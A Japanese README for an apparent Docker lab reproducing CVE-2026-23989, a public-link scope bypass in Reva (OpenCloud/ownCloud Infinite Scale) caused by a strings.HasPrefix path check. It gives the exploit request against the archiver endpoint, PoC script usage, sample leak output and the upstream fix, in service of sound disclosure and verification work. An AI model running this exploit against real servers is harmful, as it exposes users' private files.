
# CVE-2026-23989 再現ラボ(A/B Docker)— OpenCloud / ownCloud Infinite Scale の Reva における公開リンクのスコープ検証バイパス
| CVE | CVE-2026-23989 |
| アドバイザリ | GHSA-vf5j-r2hw-2hrw(「Public Link Exploit」) |
| CVSS 3.1 | 8.2 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| クラス | アクセス制御の破損 — スコープ検証におけるパスプレフィックスの混同 |
| 根本原因 | Reva の checkIfNestedResource がパスの包含判定に strings.HasPrefix を使用していた |
| 影響を受けるバージョン | OpenCloud stable ≤ 4.0.2(Reva ≤ v2.40.2)、rolling ≤ 5.0.1(Reva ≤ v2.42.1) |
| 修正済み | OpenCloud 4.0.3 / 5.0.2(Reva v2.40.3 / v2.42.3、PR opencloud-eu/reva#522) |
| 公開日 | 2026-02-05 |
OpenCloud は、Kiteworks が ownCloud を買収した後、元 ownCloud エンジニアによって作成された ownCloud Infinite Scale (OCIS) の2025年フォークです。この欠陥は、OCIS/OpenCloud が共有する CS3 ストレージバックエンドである Reva に存在し、ベンダーのアドバイザリによれば、「ownCloud (Kiteworks) コードベースに由来し、OpenCloud が OCIS をフォークした際に継承された」ものです。ここで OpenCloud を使用するのは、脆弱なおよび修正済みのクリーンで固定された公開イメージを提供しており、正確な A/B 比較が可能だからです。
internal/grpc/interceptors/auth/scope.go の関数 checkIfNestedResource — 公開リンクトークンがリソースにアクセスできるかどうかを決定するゲートウェイインターセプター:
// 脆弱(Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath は共有フォルダのパス(リンクのスコープ)、childPath は要求されたリソースのパスです。文字列プレフィックスはパスの包含ではありません:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (兄弟、子ではない)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← 誤り:アクセス許可
したがって、/Shared にスコープされたリンクは、パスが文字列 /Shared で始まる同じスペース内のリソースにも到達します — 例:/Shared-secret、/Shared-2024、/Shared backup。この修正では、テストを filepath.Rel に置き換え、.. で始まる相対パスを拒否します(完全なパッチは patch/reva-scope.go.patch にあります)。
公開リンクトークンを運ぶすべてのゲートウェイ操作は、このバグのあるスコープチェックを通過しますが、発見者たちのプリミティブ(およびこのラボの)は、public-token: ヘッダーを持つ公開リンクで認証される GET /archiver のアーカイバサービスです。これはリソース ID(?id=<fileid>)を受け取り、それを走査して zip をストリーミングします。スコープ外のプレフィックス兄弟の ID を指定すると、バグのあるチェックがそれを許可します:
GET /archiver?id=<id-of-/Shared-secret>
public-token: <link token scoped to /Shared>
→ 200, zip of /Shared-secret (4.0.2 の場合)
→ 404 "gateway could not find space for ref=…" (4.0.3 の場合)
攻撃者は、スコープ外のターゲットのリソース ID を提供する必要があります。この不透明な ID はランダムな UUID であり、公開リンク自体からは列挙できません(リンクは所有者のスペースを一覧表示できません — 401 を返します)。ただし、OCIS では、リソースの oc:fileid は、ほぼすべての WebDAV/graph レスポンス、共有招待、アクティビティ通知、Web URL(/f/<id>)で公開されるため、以前の共同作業者、別の共有の元受信者、または内部ユーザーは日常的にそれを保持しています — そのため、ベンダーは攻撃の複雑さを Low と評価しました。ラボの setup.sh は、「被害者として」ID を取得して攻撃者ステップに渡し、その現実的な事前知識をモデル化します。パストラバーサル(?path=../…)は実行可能な代替手段ではありません:これらのパスは共有を基準に解決され、クリーンアップされます(404)。
"/" であり、HasPrefix("/", "/Shared") は false です(ラボはこれを確認:スペースルートのアーカイブ → 404)。/Private のような非プレフィックスの兄弟も脆弱なビルドでは拒否されます — ラボはこれをコントロールとして使用し、効果が特にプレフィックスバグによるものであり、包括的な認証失敗ではないことを証明します。| ファイル | 目的 |
|---|---|
docker-compose.yml | 1つの OpenCloud コンテナ。OC_TAG で脆弱(4.0.2)または修正済み(4.0.3)を選択。 |
setup.sh | デモユーザー mary のスペースに被害者シナリオをシードし、/Shared にパスワードなしの公開リンクを作成。state.env を書き込み。 |
exploit.sh | 攻撃者 PoC。リンクトークンとターゲットリソース ID を指定すると、アーカイバを呼び出し、流出したバイトを出力。 |
verify.sh | ワンコマンド A/B:4.0.2 で再現、4.0.3 で修正を確認、PASS/FAIL マトリックスを出力。 |
patch/reva-scope.go.patch | 正確なアップストリームの一行修正、注釈付き。 |
mary の個人スペースに植えられたシナリオ:
/Shared/public-note.txt ← 公開リンクで共有(スコープ内)
/Shared-secret/flag.txt ← PoC ターゲット。パスが "/Shared" をプレフィックス(スコープ外)
/Private/topsecret.txt ← コントロール。非プレフィックス(スコープ外、拒否されたまま)
要件:Docker + Docker Compose、curl、python3。約 250 MB のイメージをプルします。
./verify.sh
期待される出力:
== Exploit + controls against VULNERABLE 4.0.2 ==
[PASS] in-scope /Shared (legit access) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (expected leak)
[PASS] non-prefix /Private (must stay denied) (expected deny)
== Exploit + control against FIXED 4.0.3 ==
[PASS] in-scope /Shared (still works) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (fixed) (expected deny)
== Verdict ==
5 passed, 0 failed
CVE-2026-23989 reproduced on 4.0.2 and confirmed fixed on 4.0.3.
安定版の代わりにローリングリリースのペア:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. 脆弱なビルドを起動
OC_TAG=4.0.2 docker compose up -d
# 2. 被害者シナリオをシード(公開リンクを作成、state.env を書き込み)
./setup.sh
# 3. 攻撃:スコープ外の兄弟を漏洩(state.env からターゲットを読み取り)
./exploit.sh # デフォルトで /Shared-secret の ID を使用
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # コントロール:拒否
脆弱なビルドに対する実際のトランスクリプト(state.env の値は実行ごとに異なります):
===== EXPLOIT /Shared-secret (out-of-scope prefix sibling) =====
[*] Public link token: UVWPXGsjlLJRYxK (scope: a single shared folder)
[*] HTTP 200, 365 bytes
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] LEAK CONFIRMED — out-of-scope file bytes exfiltrated via the public link.
===== CONTROL /Private (out-of-scope, non-prefix) =====
[*] HTTP 404, 249 bytes
[-] DENIED — server refused: error: not found: gateway could not find space for ref=…
同じデータ(同じトークンと ID)で修正を確認:
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # 今度は → HTTP 404, DENIED
後片付け:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" を設定。ベンダーはこれが問題を完全に軽減することを確認しています(公開リンクはエラーを返すようになります)。docker-compose.yml は、PoC をスクリプト化できるように意図的にインスタンスを弱体化しています:
PROXY_ENABLE_BASIC_AUTH=true(OIDC の手順なしで curl -u/public-token が機能するように)、IDM_CREATE_DEMO_USERS=true(mary/demo など — 公開パスワード)、IDM_ADMIN_PASSWORD=admin、パスワードなしの公開リンク、自己署名証明書(curl -k)。これらはどれも脆弱性ではありません。シェルで観察可能にするだけです。バイパス自体はこれらとは独立しています。